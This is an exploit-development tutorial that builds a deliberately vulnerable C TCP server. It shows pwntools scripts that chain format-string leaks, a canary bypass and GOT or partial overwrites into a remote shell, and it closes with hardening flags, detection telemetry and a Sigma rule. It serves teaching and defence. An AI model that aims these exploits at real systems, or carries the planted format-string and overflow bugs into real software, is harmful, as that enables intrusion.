Information Leaks: Stack/Heap Disclosures, Format Strings, and Partial Overwrites
You have a clean buffer overflow. NX is on, ASLR is on, there is a stack canary sitting between your bytes and the saved return address. Your overflow does exactly one thing: it crashes the process. That is the wall every modern memory-corruption bug hits, and the way through it is almost always the same. Leak something first.
Objective: Understand how memory-disclosure primitives (stack over-reads, heap leaks, format-string reads, and partial pointer overwrites) defeat ASLR, PIE, and stack canaries, and how a defender detects and shuts each one down. We build one intentionally vulnerable TCP service and take it from “crashes on overflow” to an interactive shell.
1. Why Leaks Are a Prerequisite
Modern exploitation is a two-stage game. The corruption bug gives you the power to change memory. The mitigations decide whether you know what to change it to.
| Mitigation | What it randomizes / protects | What defeats it |
|---|---|---|
| ASLR | Base of heap, stack, mmap/libc | A leaked pointer into that region |
| PIE | Base of the executable’s own text/GOT | A leaked binary pointer |
| Stack canary | A random word before the saved RIP | A leaked canary value |
| NX / DEP | Data pages non-executable | ROP/ret2libc (needs a text/libc leak) |
On x86-64 the mmap region carries 28 bits of entropy by default. Blind guessing that space is not a strategy, it is a denial-of-service. A single leaked libc pointer collapses those 28 bits to zero. That is why disclosure comes first: it converts a randomized target into a known one, and every subsequent write becomes deterministic.
My opinion after doing this for years: 90% of the difficulty in a modern exploit is the leak. Once you have a reliable disclosure, the rest is arithmetic.

2. Memory Layout Refresher
Before you can name an address you want, you need to know what lives where.
| Region | What lives there | Why an attacker reads it |
|---|---|---|
.text | Executable code, win()/gadgets | Compute PIE base, find ROP gadgets |
.data / .bss | Globals, function pointers | Overwrite targets |
| GOT | Resolved libc function addresses | Leak libc base, hijack calls |
| Heap | malloc chunks, freed metadata | Leak main_arena -> libc base |
| mmap / libc | Shared libraries | system, /bin/sh, one-gadget |
| Stack | Locals, saved RBP, saved RIP, canary | Leak canary + return address |
A leaked pointer is only useful if you know what it points to. A stack address leaks the stack. A GOT entry leaks libc. A freed heap chunk’s fd pointer leaks main_arena, which sits at a fixed offset inside libc. The whole craft is turning one known pointer into a base address by subtracting a constant offset.
3. The Lab Target
Here is vuln_server.c, a forking TCP service with three deliberate bugs. It is small enough to reason about completely.
// vuln_server.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#define PORT 9999
#define BUFSIZE 256
void win() { execve("/bin/sh", NULL, NULL); } // lab "flag" gadget
void log_request(char *buf) {
printf(buf); // BUG 1: user input as the format argument
fflush(stdout);
}
void handle(int fd) {
char buf[BUFSIZE];
dup2(fd, 0); dup2(fd, 1); dup2(fd, 2); // wire client to stdio so leaks return
int n = read(fd, buf, 512); // BUG 2: 512 bytes into a 256 buffer
if (n <= 0) return;
buf[n] = '\0';
log_request(buf); // triggers the format string bug + echo
}
int main() {
int s = socket(AF_INET, SOCK_STREAM, 0), opt = 1;
setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
struct sockaddr_in a = {0};
a.sin_family = AF_INET; a.sin_addr.s_addr = INADDR_ANY; a.sin_port = htons(PORT);
bind(s, (struct sockaddr*)&a, sizeof(a));
listen(s, 8);
for (;;) {
int fd = accept(s, NULL, NULL);
if (fork() == 0) { handle(fd); close(fd); exit(0); }
close(fd);
}
}
Build Stage A (32-bit, no PIE, canary on, partial RELRO). You need gcc-multilib for -m32. FORTIFY has to be off or the compiler rewrites printf(buf) into a checked variant that aborts on %n.
sudo apt install gcc-multilib
gcc -m32 -no-pie -fstack-protector -z norelro \
-D_FORTIFY_SOURCE=0 -Wno-format-security \
-o vuln_server vuln_server.c
./vuln_server &
The forking model matters. The parent randomizes its canary and libc base exactly once at startup. Every fork()ed child inherits the same values. That means you can leak the canary on connection 1 and reuse it on connection 2. This is what makes forking servers so much friendlier than re-exec servers.
4. Recon and Binary Analysis
Enumerate the mitigations first. Ten minutes of checksec has saved me hours of chasing a leak I did not need.
checksec --file=./vuln_server
# Arch: i386-32-little
# RELRO: Partial RELRO <- GOT is writable, %n overwrite is on the table
# Stack: Canary found <- need a canary leak
# NX: NX enabled <- no shellcode on the stack
# PIE: No PIE <- win()/text at a fixed address, partial overwrite is trivial
Now find where our input lands in printf‘s stack view. Feed a marker plus a row of %p and count.
python3 -c "print('AAAA' + '.%p'*20)" | nc 127.0.0.1 9999
# ...AAAA.0xf7fabc80.0x...0x41414141.0x...
# ^ our "AAAA" appears at position N
The slot printing 0x41414141 is the direct-access offset. Confirm it with a positional specifier so you never have to count .s again.
python3 -c "print('%7\$p')" | nc 127.0.0.1 9999 # adjust 7 until AAAA (0x41414141) prints
Positional specifiers (%k$p) are the single most useful trick in format-string work. A blind wall of %p is noisy and order-dependent. %7$p reads the same slot every time, so your leak script stays stable across runs.
5. Stack Disclosure via Buffer Over-Read
The purest leak needs no format string at all. read(fd, buf, 512) into a 256-byte buffer, followed by buf[n] = '\0', will happily copy adjacent stack contents if the program echoes an under-terminated buffer. On a strcpy/printf("%s")-style over-read the bytes that spill out are the saved RBP, the return address, and the canary.
The canary itself is a known quantity structurally. On x86-64 glibc stores it in the TLS block at fs:0x28; on 32-bit it is gs:0x14. Its low byte is 0x00 by design so that a string operation copying up to a newline stops before clobbering the rest of it. That null byte is also your tell: when you leak the canary you will see a value ending in 00.
from pwn import *
io = remote('127.0.0.1', 9999)
io.send(b'A'*40) # over-read past the initialized region
leak = io.recv() # adjacent stack slots come back with the echo
print(hexdump(leak))
Canaries stop a straight overflow. They do not stop reading. Once you can read past the buffer, the canary is just another value in the dump, and you can now overwrite it with itself.
6. Format String Vulnerabilities: The Read Primitive
The root cause is one missing format argument.
printf(buf); // vulnerable: buf IS the format string
printf("%s", buf); // safe: buf is data, "%s" is the format
printf is variadic. It has no idea how many arguments it was actually passed. When you hand it "%p.%p.%p", it dutifully walks up the stack popping three words, whether or not those words were ever meant as arguments. That is the entire vulnerability.
| Specifier | Effect in exploit context |
|---|---|
%x / %p | Pop and print a stack word / pointer (hex) |
%llx | Pop a 64-bit value |
%s | Treat the stack word as a pointer, dereference, print the string |
%n | Write bytes-printed-so-far into the pointer argument (a write) |
%k$p | Positional: read the k-th argument directly |
%<width>c | Pad output width to control the count a later %n writes |
%s is the dangerous one for reads because it dereferences. Point it at a GOT entry and it prints garbage bytes, but point a %p at the slot that holds a GOT-resolved address and you get a clean libc pointer. Reading a __libc_start_main return address off the stack, then subtracting the known offset, gives libc base directly.
# exploit_stage1.py -- leak canary + a libc pointer over the wire
from pwn import *
elf = ELF('./vuln_server')
libc = ELF('/lib/i386-linux-gnu/libc.so.6') # match your target's libc
io = remote('127.0.0.1', 9999)
CANARY_OFF = 11 # enumerate empirically in Phase 4 recon
LIBC_OFF = 17 # slot holding a __libc_start_main return address
io.send(f'%{CANARY_OFF}$p.%{LIBC_OFF}$p'.encode())
canary, libc_leak = (int(x, 16) for x in io.recvline().split(b'.'))
log.success(f'canary : {hex(canary)}') # note the trailing 00 byte
log.success(f'libc leak: {hex(libc_leak)}')
# The subtrahend is libc-version-specific. NEVER hardcode it blindly:
# in gdb/pwndbg on the running child: x/i <libc_leak> then find the enclosing symbol.
libc.address = libc_leak - (libc.symbols['__libc_start_main'] + 243)
log.success(f'libc base: {hex(libc.address)}')
The 243 there is the distance from __libc_start_main to the return address that landed on the stack. It changes with every libc build. Determine it live: break in gdb, look at the leaked value, resolve the symbol it sits inside, subtract. Hardcoding another writer’s offset is the fastest way to a working script that fails on your box.

7. Heap Disclosures
The heap leaks through three doors: uninitialized allocations (malloc without zeroing), out-of-bounds reads on heap objects, and use-after-free reads of freed-chunk metadata. The metadata read is the useful one.
When glibc frees a small chunk, it links it into a bin. For unsorted/small bins the chunk’s fd and bk fields point back into main_arena, a static symbol inside libc. Read those and you have a libc pointer.
struct malloc_chunk {
INTERNAL_SIZE_T mchunk_prev_size; /* size of previous chunk (if free) */
INTERNAL_SIZE_T mchunk_size; /* size in bytes + arena flags */
struct malloc_chunk* fd; /* forward pointer -> main_arena */
struct malloc_chunk* bk; /* back pointer */
struct malloc_chunk* fd_nextsize; /* large-bin list */
struct malloc_chunk* bk_nextsize;
};
The exploitation logic: free a chunk, then read the region back (via UAF or an uninitialized re-malloc). The bytes at chunk+offsetof(fd) are a main_arena pointer. Subtract the arena offset (find it with readelf -s) and you have libc base, exactly as in the stack case but sourced from the heap.
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -w main_arena
# 000000000021ba00 ... main_arena <- MAIN_ARENA_OFFSET from libc base
# after triggering a free + readback of the chunk body
fd_ptr = u32(io.recv(4)) # freed chunk's fd field
libc.address = fd_ptr - MAIN_ARENA_OFFSET - 96 # 96 = fd offset within the arena's bin head
log.success(f'libc base (heap): {hex(libc.address)}')
A stack pointer that happens to point into the heap is a bonus door. When a format-string %s lands on a slot holding a heap address, you leak whatever config data, keys, or metadata sit at the front of that allocation. Heap leaks are where in-memory secrets bleed out.
8. The %n Write Primitive and GOT Overwrites
printf can write, not just read. %n stores the number of bytes printed so far into the pointer argument. Its siblings size the write:
| Specifier | Write width |
|---|---|
%n | 4 bytes (int) |
%hn | 2 bytes (short) |
%hhn | 1 byte |
Writing a full 32-bit address in one %n means printing four billion bytes. Nobody does that. You split the target into byte-sized writes with %hhn, using %<width>c padding to advance the byte counter to each value. pwntools automates the arithmetic.
Under Partial RELRO the GOT is writable, so the classic target is printf@got: overwrite it with system, then the next printf(buf) call becomes system(buf).
# exploit_stage3.py -- overwrite printf@GOT with system, then call system("/bin/sh")
from pwn import *
elf = ELF('./vuln_server')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
# libc.address already resolved from Stage 1
WRITE_OFF = 7 # the direct-access offset from Phase 0
target_addr = elf.got['printf']
system_addr = libc.symbols['system']
io = remote('127.0.0.1', 9999)
payload = fmtstr_payload(WRITE_OFF, {target_addr: system_addr}, write_size='byte')
io.send(payload) # this printf() performs the %n writes,
# patching printf@GOT in THIS child only
# Same connection, same child: the next printf(buf) in handle() is now system(buf).
# Send "/bin/sh" so that follow-on call becomes system("/bin/sh").
io.send(b'/bin/sh\x00') # -> system("/bin/sh") in the already-patched child
io.interactive()
Here is the gotcha that cost me an hour once. The GOT patch lives in the child that performed the write. Each connection forks a fresh child from the pristine parent, so the overwrite does not persist across connections. On this forking server you must do the write and the trigger inside the same connection: read happens once per child, so you send a single payload that both writes the GOT and, on the next printf in the same process, fires. The clean single-connection design is to overwrite a GOT entry that handle calls after log_request returns. If your server calls printf only once, prefer the partial-overwrite path in the next section, which needs no second call.
And check checksec first. The night I lost that hour, the binary had been rebuilt with -z now overnight. Full RELRO made the GOT read-only, the %n writes silently no-op’d, and I blamed my offsets for far too long.
9. Partial Overwrites: ASLR Without a Full Leak
Sometimes you cannot leak a full pointer, but you can change a few bytes of one that already exists in memory. Page alignment is the gift here: mapped regions are page-aligned, so the low 12 bits of any address are fixed, no entropy at all. Overwrite just the least-significant byte or two of a saved return address and you redirect control within the same page or library without ever knowing its base.
Because our Stage A binary is -no-pie, win() sits at a fixed address. Even simpler: we overwrite the saved return address with win()‘s low bytes. First get the offset to the return address with a cyclic pattern.
gdb -q ./vuln_server
pwndbg> cyclic 300
pwndbg> run # in another shell: printf '<cyclic>' | nc 127.0.0.1 9999
pwndbg> cyclic -l $eip # -> exact offset, e.g. 268
Now build the overflow. We reuse the canary leaked in Stage 1 (same value in every child thanks to fork), replace it in place so the check passes, then partially overwrite the return address.
# exploit_stage4.py -- canary bypass + partial overwrite of the return address
from pwn import *
elf = ELF('./vuln_server')
# canary was leaked earlier over a prior connection (forking server -> stable)
canary = 0xdeadce00 # from Stage 1; low byte is 00 by design
offset = 268 # from cyclic
# win() is at a fixed no-PIE address; take its low 2 bytes only
win_lsb = (elf.symbols['win'] & 0xffff).to_bytes(2, 'little')
io = remote('127.0.0.1', 9999)
payload = b'A' * offset
payload += p32(canary) # canary restored -> stack check passes
payload += b'B' * 4 # saved EBP (32-bit)
payload += win_lsb # partial overwrite: only the low 2 bytes of saved EIP
io.send(payload)
io.interactive() # win() -> execve("/bin/sh"), wired to the socket via dup2
One subtlety on this exact target: log_request runs printf(buf) before the function returns, so your overflow bytes pass through printf first. A stray 0x25 (%) inside the canary or address bytes will be interpreted as a specifier and corrupt the run. That is precisely why the forking design is your friend: leak on one connection, then send a pure-A overflow (no %) with the known-good canary on the next. Split the jobs across connections and the shared bytes never fight.
For the harder 64-bit PIE stages (B and C), the same partial-overwrite idea holds: leak the low bytes of a saved return address, then enumerate the next byte. On 32-bit only 4 bits are unknown after fixing the low 12 (a 16-shot brute force). On 64-bit you must leak more, since blind enumeration of the high bytes is infeasible.
10. Chained Exploit: Leak to Compute to Overwrite to Shell
Pull it together against Stage A. Two connections, one shell.
#!/usr/bin/env python3
from pwn import *
elf = ELF('./vuln_server')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
# --- Connection 1: format-string leak (canary + libc) ---
io = remote('127.0.0.1', 9999)
io.send(b'%11$p.%17$p')
canary, libc_leak = (int(x, 16) for x in io.recvline().split(b'.'))
libc.address = libc_leak - (libc.symbols['__libc_start_main'] + 243) # verify offset live
io.close()
log.success(f'canary={hex(canary)} libc={hex(libc.address)}')
# --- Connection 2: overflow with restored canary + jump to win() ---
io = remote('127.0.0.1', 9999)
payload = b'A'*268 + p32(canary) + b'B'*4
payload += p32(elf.symbols['win']) # full address (no-PIE) or LSB partial
io.send(payload)
io.interactive()
The moment handle returns, execution lands in win(), execve("/bin/sh", ...) runs, and because we dup2‘d the client fd onto stdin/stdout/stderr, you get an interactive shell over the socket. The leak defeated the canary, the fixed text base gave us win(), and the whole chain is deterministic.

11. Common Attacker Techniques
| Technique | Description |
|---|---|
| Format-string read | %p/%x/%k$p to dump stack: canary, saved RIP, libc pointers |
%s dereference leak | Treat a stack slot as a pointer, print the string at that address |
| Buffer over-read | Under-terminated echo spills adjacent stack/heap bytes |
| Heap metadata leak | Read a freed chunk’s fd/bk to recover main_arena -> libc base |
%n GOT overwrite | Byte-wise %hhn writes to redirect a GOT entry to system |
| Partial overwrite | Rewrite 1-2 LSBs of a pointer to stay inside a known page/library |
| Canary reuse | Leak once on a forking server, replay the same canary on later connections |
12. Defensive Strategies & Detection
Kill the primitive at compile time first. This is cheaper and more reliable than any detection rule.
| Mitigation | Flag | What it breaks |
|---|---|---|
| Stack canary | -fstack-protector-strong | Straight overflow without a canary leak |
| Full RELRO | -z relro -z now | %n GOT overwrite (GOT becomes read-only) |
| PIE | -fPIE -pie | Hardcoded text/GOT addresses |
| FORTIFY | -D_FORTIFY_SOURCE=2 | Blocks %n in writable format strings via __printf_chk (raises SIGABRT) |
| Shadow stack | -fcf-protection=full (Intel CET) | Return-address tampering |
At the OS layer, keep kernel.randomize_va_space=2 (value 1 leaves the heap un-randomized), and constrain the service with seccomp/AppArmor so a post-exploit execve is denied outright. On Windows, mandatory ASLR is driven from HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\MoveImages, with SEHOP on by default and /SAFESEH validating handlers.
Telemetry
The disclosure step is quiet by nature: it is just reads. The reconnaissance is loud, and the payoff is loud. Watch the crashes and the child processes.
On Linux, a %s aimed at an invalid stack slot dereferences unmapped memory and segfaults. A burst of those in journald//var/log/syslog or dmesg from a network service is active format-string probing. Add auditd rules on read/write for service socket fds to catch over-read return sizes, and drop executable regions appearing in /proc/<pid>/maps.
On Windows, the follow-on shell or injection is what you catch.
| Sysmon Event ID | Name | Relevance |
|---|---|---|
1 | Process Create | cmd.exe/sh.exe child of a network service |
7 | Image Loaded | Unexpected DLL load post-exploitation |
8 | CreateRemoteThread | Shellcode injecting a thread after the leak |
10 | Process Access | OpenProcess with PROCESS_VM_READ (memory scraping) |
17 / 18 | Pipe Created / Connected | Named-pipe shellcode staging |
Relevant ETW providers: Microsoft-Windows-Kernel-Process (process/thread creation), Microsoft-Windows-Kernel-Memory (allocation anomalies), and Microsoft-Windows-WER-Diag, which fires on the application crashes that %s probing generates. Kernel profiling events carry instruction pointers and can flag execution from unbacked memory.
title: Suspicious Child Process from Network Service
status: experimental
logsource:
product: windows
category: process_creation
detection:
selection:
ParentImage|endswith:
- '\vuln_server.exe'
- '\httpd.exe'
Image|endswith:
- '\cmd.exe'
- '\powershell.exe'
- '\sh.exe'
condition: selection
falsepositives:
- Legitimate admin tooling spawned by service
level: high
tags:
- attack.execution
- attack.t1203
Hardening checklist
- Never pass user input as the format argument. Always
printf("%s", input). - Ship
-D_FORTIFY_SOURCE=2(or=3on GCC 12+) in production. - Enable Full RELRO (
-z relro -z now) so the GOT is read-only. - Enable PIE and kernel ASLR.
- Fence the process with
seccomp/AppArmor/SELinux; blockexecve. - Fuzz with AFL++/libFuzzer under
-fsanitize=address,undefinedto surface over-reads and format-string misuse before shipping.
MITRE ATT&CK Mapping
| Technique | MITRE ID | Detection |
|---|---|---|
| Exploitation of Remote Services | T1210 | Crash bursts + anomalous child of vuln_server |
| Exploitation for Client Execution | T1203 | Sysmon EID 1, WER crash events |
| System Information Discovery | T1082 | Repeated leak requests, %p/%s probing |
| Data from Local System | T1005 | Over-read return sizes via auditd on socket fds |
| Deobfuscate/Decode Information | T1140 | N/A (client-side offset math) |
| Process Injection | T1055 | Sysmon EID 8 (CreateRemoteThread) |
| Command and Scripting Interpreter | T1059 | Sysmon EID 1 shell child |

13. Tools for Leak Analysis
| Tool | Description | Link |
|---|---|---|
| pwntools | ELF, remote, fmtstr_payload, cyclic, p32/u32 scripting | https://docs.pwntools.com |
| gdb + pwndbg | Offset discovery, live offset verification | https://pwndbg.re |
| checksec | Enumerate RELRO/canary/NX/PIE | https://docs.pwntools.com/en/stable/commandline.html |
| ROPgadget / ropper | Gadget hunting after a text/libc leak | https://github.com/JonathanSalwan/ROPgadget |
| readelf | Resolve main_arena and symbol offsets | https://sourceware.org/binutils/docs/binutils/readelf.html |
| objdump / ghidra / radare2 | Static analysis of the lab binary | https://ghidra-sre.org |
| ltrace / strace | Library/syscall tracing during recon | https://man7.org/linux/man-pages/man1/strace.1.html |
14. Recap
Every modern memory-corruption exploit lives or dies on the leak. The corruption bug gives you the power to change memory; the disclosure primitive tells you what to change it to. We walked the full arc against one intentionally vulnerable forking TCP service:
- Leak first. A stack over-read or a format-string
%k$precovers the canary and a libc pointer, collapsing 28 bits of ASLR entropy to zero. - Compute. Subtract a live-verified offset from any leaked pointer to derive libc base; a freed chunk’s
fdfield intomain_arenagets you there from the heap instead of the stack. - Overwrite.
%hhnbyte-wise writes patch a writable (partial-RELRO) GOT entry tosystem, or a 1-2 byte partial overwrite redirects a return address inside a known page with no full leak at all. - Shell. Canary restored in place, return address bent to
win(),execve("/bin/sh")fires over thedup2‘d socket.
For defenders the order is inverted: kill the primitive at build time (-fstack-protector-strong, Full RELRO, PIE, _FORTIFY_SOURCE, CET), then catch the loud ends of the chain: %s crash bursts in journald/WER and anomalous shell children in Sysmon EID 1. The disclosure itself is quiet; the recon and the payoff are not. Instrument both.
Related Tutorials
- Classic Stack Buffer Overflow: Smashing the Stack on Windows
- Understanding the Stack: Frames, Prologue/Epilogue, and Stack Layout
- Egghunters: Staged Payload Delivery When Buffer Space Is Tight
- Shellcode Encoders: XOR Encoding, Custom Decoders, and Avoiding Bad Chars
- Position-Independent Code: Writing PIC Shellcode Without Hardcoded Addresses
References
- ctf101.org
- medium.com
- blogs.jsmon.sh
- axcheron.github.io
- cs155.stanford.edu
- www.sec.in.tum.de
- arxiv.org
- www.paloaltonetworks.com
Get new drops in your inbox
Windows internals, exploit dev, and red-team write-ups - no spam, unsubscribe anytime.